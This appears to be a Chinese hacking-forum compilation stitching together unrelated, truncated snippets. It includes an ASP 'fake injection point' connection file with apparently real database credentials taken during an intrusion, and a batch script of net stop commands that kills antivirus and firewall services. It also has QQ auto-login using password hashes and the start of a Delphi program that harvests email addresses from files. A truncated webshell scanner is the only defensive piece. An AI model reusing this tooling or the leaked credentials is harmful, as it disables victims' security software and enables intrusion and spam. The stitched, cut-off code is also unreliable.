From:网络
最近一直有人问关于伪造注入点 进行内网渗透的一些问题

其实这个文件大家早就见过 竟然有些人说不完整 缺少 conn.asp 倒...

给个完整的及设置办法 这个文件是偶在渗透的时候写到的

数据库服务器 1.0.5.195
帐户 sa
密码 accountbase
数据库名 gameaccount_server
<%
strSQLServerName = "1.0.5.195" '服务器名称或地址
strSQLDBUserName = "sa" '数据库帐号
strSQLDBPassword = "accountbase" '数据库密码
strSQLDBName = "gameaccount_server" '数据库名称
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"

来自：影子鹰

把内容保存bat后缀就可以了
*********************************
net stop "Alerter" /y
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Rav.exe" /y
net stop "F-STOPW" /y
net stop "Look'n'Stop Lite" /y
net stop "Lookout.exe" /y
net stop "LUALL" /y
net stop "Luall.exe" /y
net stop "LUCOMSERVER" /y
net stop "MCAFEE" /y

来自：JiaJia's Home

-----------------------
'Scan ASP WebShell in vbs
'Author: lake2 (http://lake2.0x54.org)
'Date:   2006-11-30
'Version: 1.0 Beta
'-----------------------

DimFileExt = "asp,cer,asa,cdx"
Dim Report, Report2, Sun, SumFiles, SumFolders

Call ShowInfo()
If WScript.Arguments.Count = 2 Then
Call CheckArg()
Sun = 0
SumFiles = 0
SumFolders = 1
If Right(WScript.Arguments.Item(0),1) = "\" Then

来源：绝对零度 blog

以下启动QQ调用
QQ.exe /START QQUIN:[QQ号] [算出的密码] /STAT:[是否隐身]
隐身/不隐身: 40/41
例:D:\Program Files\Tencent\QQ\QQ.exe /START QQUIN:12345678 PWDHASH:JdVa0oOqQAr0ZMdtcTwHrQ== /STAT:41

以下密码算法调用[/code]Public Function Str2QQPwdHash(Str1 As String)

Str2QQPwdHash = Hex2Base64(MD5(Str1, 32)) & "=="

End Function

以下模块代码

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure Formcreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;